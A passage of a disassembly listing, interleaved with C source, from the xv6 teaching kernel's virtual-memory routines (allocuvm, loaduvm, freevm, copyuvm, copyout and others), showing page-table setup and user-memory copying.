80106b14: 89 04 24 mov %eax,(%esp)
80106b17: e8 04 da ff ff call 80104520 <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
80106b1c: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106b22: b9 00 10 00 00 mov $0x1000,%ecx
80106b27: 89 04 24 mov %eax,(%esp)
80106b2a: 8b 45 e4 mov -0x1c(%ebp),%eax
80106b2d: 31 d2 xor %edx,%edx
80106b2f: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp)
80106b36: 00
80106b37: e8 b4 fb ff ff call 801066f0 <mappages>
memmove(mem, init, sz);
80106b3c: 89 75 10 mov %esi,0x10(%ebp)
80106b3f: 89 7d 0c mov %edi,0xc(%ebp)
80106b42: 89 5d 08 mov %ebx,0x8(%ebp)
}
80106b45: 83 c4 1c add $0x1c,%esp
80106b48: 5b pop %ebx
80106b49: 5e pop %esi
80106b4a: 5f pop %edi
80106b4b: 5d pop %ebp
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
memset(mem, 0, PGSIZE);
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
memmove(mem, init, sz);
80106b4c: e9 7f da ff ff jmp 801045d0 <memmove>
inituvm(pde_t *pgdir, char *init, uint sz)
{
char *mem;
if(sz >= PGSIZE)
panic("inituvm: more than a page");
80106b51: c7 04 24 19 79 10 80 movl $0x80107919,(%esp)
80106b58: e8 03 98 ff ff call 80100360 <panic>
80106b5d: 8d 76 00 lea 0x0(%esi),%esi
80106b60 <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
80106b60: 55 push %ebp
80106b61: 89 e5 mov %esp,%ebp
80106b63: 57 push %edi
80106b64: 56 push %esi
80106b65: 53 push %ebx
80106b66: 83 ec 1c sub $0x1c,%esp
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
80106b69: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp)
80106b70: 0f 85 98 00 00 00 jne 80106c0e <loaduvm+0xae>
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
80106b76: 8b 75 18 mov 0x18(%ebp),%esi
80106b79: 31 db xor %ebx,%ebx
80106b7b: 85 f6 test %esi,%esi
80106b7d: 75 1a jne 80106b99 <loaduvm+0x39>
80106b7f: eb 77 jmp 80106bf8 <loaduvm+0x98>
80106b81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106b88: 81 c3 00 10 00 00 add $0x1000,%ebx
80106b8e: 81 ee 00 10 00 00 sub $0x1000,%esi
80106b94: 39 5d 18 cmp %ebx,0x18(%ebp)
80106b97: 76 5f jbe 80106bf8 <loaduvm+0x98>
80106b99: 8b 55 0c mov 0xc(%ebp),%edx
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
80106b9c: 31 c9 xor %ecx,%ecx
80106b9e: 8b 45 08 mov 0x8(%ebp),%eax
80106ba1: 01 da add %ebx,%edx
80106ba3: e8 b8 fa ff ff call 80106660 <walkpgdir>
80106ba8: 85 c0 test %eax,%eax
80106baa: 74 56 je 80106c02 <loaduvm+0xa2>
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
80106bac: 8b 00 mov (%eax),%eax
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
80106bae: bf 00 10 00 00 mov $0x1000,%edi
80106bb3: 8b 4d 14 mov 0x14(%ebp),%ecx
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
80106bb6: 25 00 f0 ff ff and $0xfffff000,%eax
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
80106bbb: 81 fe 00 10 00 00 cmp $0x1000,%esi
80106bc1: 0f 42 fe cmovb %esi,%edi
if(readi(ip, P2V(pa), offset+i, n) != n)
80106bc4: 05 00 00 00 80 add $0x80000000,%eax
80106bc9: 89 44 24 04 mov %eax,0x4(%esp)
80106bcd: 8b 45 10 mov 0x10(%ebp),%eax
80106bd0: 01 d9 add %ebx,%ecx
80106bd2: 89 7c 24 0c mov %edi,0xc(%esp)
80106bd6: 89 4c 24 08 mov %ecx,0x8(%esp)
80106bda: 89 04 24 mov %eax,(%esp)
80106bdd: e8 6e ad ff ff call 80101950 <readi>
80106be2: 39 f8 cmp %edi,%eax
80106be4: 74 a2 je 80106b88 <loaduvm+0x28>
return -1;
}
return 0;
}
80106be6: 83 c4 1c add $0x1c,%esp
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
80106be9: b8 ff ff ff ff mov $0xffffffff,%eax
}
return 0;
}
80106bee: 5b pop %ebx
80106bef: 5e pop %esi
80106bf0: 5f pop %edi
80106bf1: 5d pop %ebp
80106bf2: c3 ret
80106bf3: 90 nop
80106bf4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106bf8: 83 c4 1c add $0x1c,%esp
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
}
return 0;
80106bfb: 31 c0 xor %eax,%eax
}
80106bfd: 5b pop %ebx
80106bfe: 5e pop %esi
80106bff: 5f pop %edi
80106c00: 5d pop %ebp
80106c01: c3 ret
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
80106c02: c7 04 24 33 79 10 80 movl $0x80107933,(%esp)
80106c09: e8 52 97 ff ff call 80100360 <panic>
{
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
80106c0e: c7 04 24 d4 79 10 80 movl $0x801079d4,(%esp)
80106c15: e8 46 97 ff ff call 80100360 <panic>
80106c1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106c20 <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
int
allocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80106c20: 55 push %ebp
80106c21: 89 e5 mov %esp,%ebp
80106c23: 57 push %edi
80106c24: 56 push %esi
80106c25: 53 push %ebx
80106c26: 83 ec 1c sub $0x1c,%esp
80106c29: 8b 7d 10 mov 0x10(%ebp),%edi
char *mem;
uint a;
if(newsz >= KERNBASE)
80106c2c: 85 ff test %edi,%edi
80106c2e: 0f 88 7e 00 00 00 js 80106cb2 <allocuvm+0x92>
return 0;
if(newsz < oldsz)
80106c34: 3b 7d 0c cmp 0xc(%ebp),%edi
return oldsz;
80106c37: 8b 45 0c mov 0xc(%ebp),%eax
char *mem;
uint a;
if(newsz >= KERNBASE)
return 0;
if(newsz < oldsz)
80106c3a: 72 78 jb 80106cb4 <allocuvm+0x94>
return oldsz;
a = PGROUNDUP(oldsz);
80106c3c: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80106c42: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < newsz; a += PGSIZE){
80106c48: 39 df cmp %ebx,%edi
80106c4a: 77 4a ja 80106c96 <allocuvm+0x76>
80106c4c: eb 72 jmp 80106cc0 <allocuvm+0xa0>
80106c4e: 66 90 xchg %ax,%ax
if(mem == 0){
cprintf("allocuvm out of memory\n");
deallocuvm(pgdir, newsz, oldsz);
return 0;
}
memset(mem, 0, PGSIZE);
80106c50: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106c57: 00
80106c58: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106c5f: 00
80106c60: 89 04 24 mov %eax,(%esp)
80106c63: e8 b8 d8 ff ff call 80104520 <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
80106c68: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106c6e: b9 00 10 00 00 mov $0x1000,%ecx
80106c73: 89 04 24 mov %eax,(%esp)
80106c76: 8b 45 08 mov 0x8(%ebp),%eax
80106c79: 89 da mov %ebx,%edx
80106c7b: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp)
80106c82: 00
80106c83: e8 68 fa ff ff call 801066f0 <mappages>
80106c88: 85 c0 test %eax,%eax
80106c8a: 78 44 js 80106cd0 <allocuvm+0xb0>
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
80106c8c: 81 c3 00 10 00 00 add $0x1000,%ebx
80106c92: 39 df cmp %ebx,%edi
80106c94: 76 2a jbe 80106cc0 <allocuvm+0xa0>
mem = kalloc();
80106c96: e8 05 b8 ff ff call 801024a0 <kalloc>
if(mem == 0){
80106c9b: 85 c0 test %eax,%eax
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
mem = kalloc();
80106c9d: 89 c6 mov %eax,%esi
if(mem == 0){
80106c9f: 75 af jne 80106c50 <allocuvm+0x30>
cprintf("allocuvm out of memory\n");
80106ca1: c7 04 24 51 79 10 80 movl $0x80107951,(%esp)
80106ca8: e8 a3 99 ff ff call 80100650 <cprintf>
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80106cad: 3b 7d 0c cmp 0xc(%ebp),%edi
80106cb0: 77 48 ja 80106cfa <allocuvm+0xda>
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
deallocuvm(pgdir, newsz, oldsz);
kfree(mem);
return 0;
80106cb2: 31 c0 xor %eax,%eax
}
}
return newsz;
}
80106cb4: 83 c4 1c add $0x1c,%esp
80106cb7: 5b pop %ebx
80106cb8: 5e pop %esi
80106cb9: 5f pop %edi
80106cba: 5d pop %ebp
80106cbb: c3 ret
80106cbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106cc0: 83 c4 1c add $0x1c,%esp
80106cc3: 89 f8 mov %edi,%eax
80106cc5: 5b pop %ebx
80106cc6: 5e pop %esi
80106cc7: 5f pop %edi
80106cc8: 5d pop %ebp
80106cc9: c3 ret
80106cca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
deallocuvm(pgdir, newsz, oldsz);
return 0;
}
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
80106cd0: c7 04 24 69 79 10 80 movl $0x80107969,(%esp)
80106cd7: e8 74 99 ff ff call 80100650 <cprintf>
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80106cdc: 3b 7d 0c cmp 0xc(%ebp),%edi
80106cdf: 76 0d jbe 80106cee <allocuvm+0xce>
80106ce1: 8b 4d 0c mov 0xc(%ebp),%ecx
80106ce4: 89 fa mov %edi,%edx
80106ce6: 8b 45 08 mov 0x8(%ebp),%eax
80106ce9: e8 82 fa ff ff call 80106770 <deallocuvm.part.0>
}
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
deallocuvm(pgdir, newsz, oldsz);
kfree(mem);
80106cee: 89 34 24 mov %esi,(%esp)
80106cf1: e8 fa b5 ff ff call 801022f0 <kfree>
return 0;
80106cf6: 31 c0 xor %eax,%eax
80106cf8: eb ba jmp 80106cb4 <allocuvm+0x94>
80106cfa: 8b 4d 0c mov 0xc(%ebp),%ecx
80106cfd: 89 fa mov %edi,%edx
80106cff: 8b 45 08 mov 0x8(%ebp),%eax
80106d02: e8 69 fa ff ff call 80106770 <deallocuvm.part.0>
for(; a < newsz; a += PGSIZE){
mem = kalloc();
if(mem == 0){
cprintf("allocuvm out of memory\n");
deallocuvm(pgdir, newsz, oldsz);
return 0;
80106d07: 31 c0 xor %eax,%eax
80106d09: eb a9 jmp 80106cb4 <allocuvm+0x94>
80106d0b: 90 nop
80106d0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106d10 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80106d10: 55 push %ebp
80106d11: 89 e5 mov %esp,%ebp
80106d13: 8b 55 0c mov 0xc(%ebp),%edx
80106d16: 8b 4d 10 mov 0x10(%ebp),%ecx
80106d19: 8b 45 08 mov 0x8(%ebp),%eax
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80106d1c: 39 d1 cmp %edx,%ecx
80106d1e: 73 08 jae 80106d28 <deallocuvm+0x18>
kfree(v);
*pte = 0;
}
}
return newsz;
}
80106d20: 5d pop %ebp
80106d21: e9 4a fa ff ff jmp 80106770 <deallocuvm.part.0>
80106d26: 66 90 xchg %ax,%ax
80106d28: 89 d0 mov %edx,%eax
80106d2a: 5d pop %ebp
80106d2b: c3 ret
80106d2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106d30 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
80106d30: 55 push %ebp
80106d31: 89 e5 mov %esp,%ebp
80106d33: 56 push %esi
80106d34: 53 push %ebx
80106d35: 83 ec 10 sub $0x10,%esp
80106d38: 8b 75 08 mov 0x8(%ebp),%esi
uint i;
if(pgdir == 0)
80106d3b: 85 f6 test %esi,%esi
80106d3d: 74 59 je 80106d98 <freevm+0x68>
80106d3f: 31 c9 xor %ecx,%ecx
80106d41: ba 00 00 00 80 mov $0x80000000,%edx
80106d46: 89 f0 mov %esi,%eax
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80106d48: 31 db xor %ebx,%ebx
80106d4a: e8 21 fa ff ff call 80106770 <deallocuvm.part.0>
80106d4f: eb 12 jmp 80106d63 <freevm+0x33>
80106d51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106d58: 83 c3 01 add $0x1,%ebx
80106d5b: 81 fb 00 04 00 00 cmp $0x400,%ebx
80106d61: 74 27 je 80106d8a <freevm+0x5a>
if(pgdir[i] & PTE_P){
80106d63: 8b 14 9e mov (%esi,%ebx,4),%edx
80106d66: f6 c2 01 test $0x1,%dl
80106d69: 74 ed je 80106d58 <freevm+0x28>
char * v = P2V(PTE_ADDR(pgdir[i]));
80106d6b: 81 e2 00 f0 ff ff and $0xfffff000,%edx
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80106d71: 83 c3 01 add $0x1,%ebx
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
80106d74: 81 c2 00 00 00 80 add $0x80000000,%edx
kfree(v);
80106d7a: 89 14 24 mov %edx,(%esp)
80106d7d: e8 6e b5 ff ff call 801022f0 <kfree>
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80106d82: 81 fb 00 04 00 00 cmp $0x400,%ebx
80106d88: 75 d9 jne 80106d63 <freevm+0x33>
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
80106d8a: 89 75 08 mov %esi,0x8(%ebp)
}
80106d8d: 83 c4 10 add $0x10,%esp
80106d90: 5b pop %ebx
80106d91: 5e pop %esi
80106d92: 5d pop %ebp
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
80106d93: e9 58 b5 ff ff jmp 801022f0 <kfree>
freevm(pde_t *pgdir)
{
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
80106d98: c7 04 24 85 79 10 80 movl $0x80107985,(%esp)
80106d9f: e8 bc 95 ff ff call 80100360 <panic>
80106da4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106daa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106db0 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80106db0: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106db1: 31 c9 xor %ecx,%ecx
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80106db3: 89 e5 mov %esp,%ebp
80106db5: 83 ec 18 sub $0x18,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106db8: 8b 55 0c mov 0xc(%ebp),%edx
80106dbb: 8b 45 08 mov 0x8(%ebp),%eax
80106dbe: e8 9d f8 ff ff call 80106660 <walkpgdir>
if(pte == 0)
80106dc3: 85 c0 test %eax,%eax
80106dc5: 74 05 je 80106dcc <clearpteu+0x1c>
panic("clearpteu");
*pte &= ~PTE_U;
80106dc7: 83 20 fb andl $0xfffffffb,(%eax)
}
80106dca: c9 leave
80106dcb: c3 ret
{
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
if(pte == 0)
panic("clearpteu");
80106dcc: c7 04 24 96 79 10 80 movl $0x80107996,(%esp)
80106dd3: e8 88 95 ff ff call 80100360 <panic>
80106dd8: 90 nop
80106dd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106de0 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80106de0: 55 push %ebp
80106de1: 89 e5 mov %esp,%ebp
80106de3: 57 push %edi
80106de4: 56 push %esi
80106de5: 53 push %ebx
80106de6: 83 ec 2c sub $0x2c,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80106de9: e8 62 fb ff ff call 80106950 <setupkvm>
80106dee: 85 c0 test %eax,%eax
80106df0: 89 45 e0 mov %eax,-0x20(%ebp)
80106df3: 0f 84 b2 00 00 00 je 80106eab <copyuvm+0xcb>
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106df9: 8b 45 0c mov 0xc(%ebp),%eax
80106dfc: 85 c0 test %eax,%eax
80106dfe: 0f 84 9c 00 00 00 je 80106ea0 <copyuvm+0xc0>
80106e04: 31 db xor %ebx,%ebx
80106e06: eb 48 jmp 80106e50 <copyuvm+0x70>
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
80106e08: 81 c7 00 00 00 80 add $0x80000000,%edi
80106e0e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106e15: 00
80106e16: 89 7c 24 04 mov %edi,0x4(%esp)
80106e1a: 89 04 24 mov %eax,(%esp)
80106e1d: e8 ae d7 ff ff call 801045d0 <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0)
80106e22: 8b 45 e4 mov -0x1c(%ebp),%eax
80106e25: 8d 96 00 00 00 80 lea -0x80000000(%esi),%edx
80106e2b: 89 14 24 mov %edx,(%esp)
80106e2e: b9 00 10 00 00 mov $0x1000,%ecx
80106e33: 89 da mov %ebx,%edx
80106e35: 89 44 24 04 mov %eax,0x4(%esp)
80106e39: 8b 45 e0 mov -0x20(%ebp),%eax
80106e3c: e8 af f8 ff ff call 801066f0 <mappages>
80106e41: 85 c0 test %eax,%eax
80106e43: 78 41 js 80106e86 <copyuvm+0xa6>
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106e45: 81 c3 00 10 00 00 add $0x1000,%ebx
80106e4b: 39 5d 0c cmp %ebx,0xc(%ebp)
80106e4e: 76 50 jbe 80106ea0 <copyuvm+0xc0>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80106e50: 8b 45 08 mov 0x8(%ebp),%eax
80106e53: 31 c9 xor %ecx,%ecx
80106e55: 89 da mov %ebx,%edx
80106e57: e8 04 f8 ff ff call 80106660 <walkpgdir>
80106e5c: 85 c0 test %eax,%eax
80106e5e: 74 5b je 80106ebb <copyuvm+0xdb>
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
80106e60: 8b 30 mov (%eax),%esi
80106e62: f7 c6 01 00 00 00 test $0x1,%esi
80106e68: 74 45 je 80106eaf <copyuvm+0xcf>
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
80106e6a: 89 f7 mov %esi,%edi
flags = PTE_FLAGS(*pte);
80106e6c: 81 e6 ff 0f 00 00 and $0xfff,%esi
80106e72: 89 75 e4 mov %esi,-0x1c(%ebp)
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
80106e75: 81 e7 00 f0 ff ff and $0xfffff000,%edi
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
80106e7b: e8 20 b6 ff ff call 801024a0 <kalloc>
80106e80: 85 c0 test %eax,%eax
80106e82: 89 c6 mov %eax,%esi
80106e84: 75 82 jne 80106e08 <copyuvm+0x28>
goto bad;
}
return d;
bad:
freevm(d);
80106e86: 8b 45 e0 mov -0x20(%ebp),%eax
80106e89: 89 04 24 mov %eax,(%esp)
80106e8c: e8 9f fe ff ff call 80106d30 <freevm>
return 0;
80106e91: 31 c0 xor %eax,%eax
}
80106e93: 83 c4 2c add $0x2c,%esp
80106e96: 5b pop %ebx
80106e97: 5e pop %esi
80106e98: 5f pop %edi
80106e99: 5d pop %ebp
80106e9a: c3 ret
80106e9b: 90 nop
80106e9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106ea0: 8b 45 e0 mov -0x20(%ebp),%eax
80106ea3: 83 c4 2c add $0x2c,%esp
80106ea6: 5b pop %ebx
80106ea7: 5e pop %esi
80106ea8: 5f pop %edi
80106ea9: 5d pop %ebp
80106eaa: c3 ret
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
80106eab: 31 c0 xor %eax,%eax
80106ead: eb e4 jmp 80106e93 <copyuvm+0xb3>
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
80106eaf: c7 04 24 ba 79 10 80 movl $0x801079ba,(%esp)
80106eb6: e8 a5 94 ff ff call 80100360 <panic>
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
80106ebb: c7 04 24 a0 79 10 80 movl $0x801079a0,(%esp)
80106ec2: e8 99 94 ff ff call 80100360 <panic>
80106ec7: 89 f6 mov %esi,%esi
80106ec9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106ed0 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106ed0: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106ed1: 31 c9 xor %ecx,%ecx
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106ed3: 89 e5 mov %esp,%ebp
80106ed5: 83 ec 08 sub $0x8,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106ed8: 8b 55 0c mov 0xc(%ebp),%edx
80106edb: 8b 45 08 mov 0x8(%ebp),%eax
80106ede: e8 7d f7 ff ff call 80106660 <walkpgdir>
if((*pte & PTE_P) == 0)
80106ee3: 8b 00 mov (%eax),%eax
80106ee5: 89 c2 mov %eax,%edx
80106ee7: 83 e2 05 and $0x5,%edx
return 0;
if((*pte & PTE_U) == 0)
80106eea: 83 fa 05 cmp $0x5,%edx
80106eed: 75 11 jne 80106f00 <uva2ka+0x30>
return 0;
return (char*)P2V(PTE_ADDR(*pte));
80106eef: 25 00 f0 ff ff and $0xfffff000,%eax
80106ef4: 05 00 00 00 80 add $0x80000000,%eax
}
80106ef9: c9 leave
80106efa: c3 ret
80106efb: 90 nop
80106efc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
pte = walkpgdir(pgdir, uva, 0);
if((*pte & PTE_P) == 0)
return 0;
if((*pte & PTE_U) == 0)
return 0;
80106f00: 31 c0 xor %eax,%eax
return (char*)P2V(PTE_ADDR(*pte));
}
80106f02: c9 leave
80106f03: c3 ret
80106f04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106f0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106f10 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
80106f10: 55 push %ebp
80106f11: 89 e5 mov %esp,%ebp
80106f13: 57 push %edi
80106f14: 56 push %esi
80106f15: 53 push %ebx
80106f16: 83 ec 1c sub $0x1c,%esp
80106f19: 8b 5d 14 mov 0x14(%ebp),%ebx
80106f1c: 8b 4d 0c mov 0xc(%ebp),%ecx
80106f1f: 8b 7d 10 mov 0x10(%ebp),%edi
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106f22: 85 db test %ebx,%ebx
80106f24: 75 3a jne 80106f60 <copyout+0x50>
80106f26: eb 68 jmp 80106f90 <copyout+0x80>
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
80106f28: 8b 4d e4 mov -0x1c(%ebp),%ecx
80106f2b: 89 f2 mov %esi,%edx
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
80106f2d: 89 7c 24 04 mov %edi,0x4(%esp)
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
80106f31: 29 ca sub %ecx,%edx
80106f33: 81 c2 00 10 00 00 add $0x1000,%edx
80106f39: 39 da cmp %ebx,%edx
80106f3b: 0f 47 d3 cmova %ebx,%edx
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
80106f3e: 29 f1 sub %esi,%ecx
80106f40: 01 c8 add %ecx,%eax
80106f42: 89 54 24 08 mov %edx,0x8(%esp)
80106f46: 89 04 24 mov %eax,(%esp)
80106f49: 89 55 e4 mov %edx,-0x1c(%ebp)
80106f4c: e8 7f d6 ff ff call 801045d0 <memmove>
len -= n;
buf += n;
80106f51: 8b 55 e4 mov -0x1c(%ebp),%edx
va = va0 + PGSIZE;
80106f54: 8d 8e 00 10 00 00 lea 0x1000(%esi),%ecx
n = PGSIZE - (va - va0);
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
80106f5a: 01 d7 add %edx,%edi
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106f5c: 29 d3 sub %edx,%ebx
80106f5e: 74 30 je 80106f90 <copyout+0x80>
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
80106f60: 8b 45 08 mov 0x8(%ebp),%eax
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
80106f63: 89 ce mov %ecx,%esi
80106f65: 81 e6 00 f0 ff ff and $0xfffff000,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80106f6b: 89 74 24 04 mov %esi,0x4(%esp)
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
80106f6f: 89 4d e4 mov %ecx,-0x1c(%ebp)
pa0 = uva2ka(pgdir, (char*)va0);
80106f72: 89 04 24 mov %eax,(%esp)
80106f75: e8 56 ff ff ff call 80106ed0 <uva2ka>
if(pa0 == 0)
80106f7a: 85 c0 test %eax,%eax
80106f7c: 75 aa jne 80106f28 <copyout+0x18>
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
}
80106f7e: 83 c4 1c add $0x1c,%esp
buf = (char*)p;
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
80106f81: b8 ff ff ff ff mov $0xffffffff,%eax
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
}
80106f86: 5b pop %ebx
80106f87: 5e pop %esi
80106f88: 5f pop %edi
80106f89: 5d pop %ebp
80106f8a: c3 ret
80106f8b: 90 nop
80106f8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106f90: 83 c4 1c add $0x1c,%esp
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
80106f93: 31 c0 xor %eax,%eax
}
80106f95: 5b pop %ebx
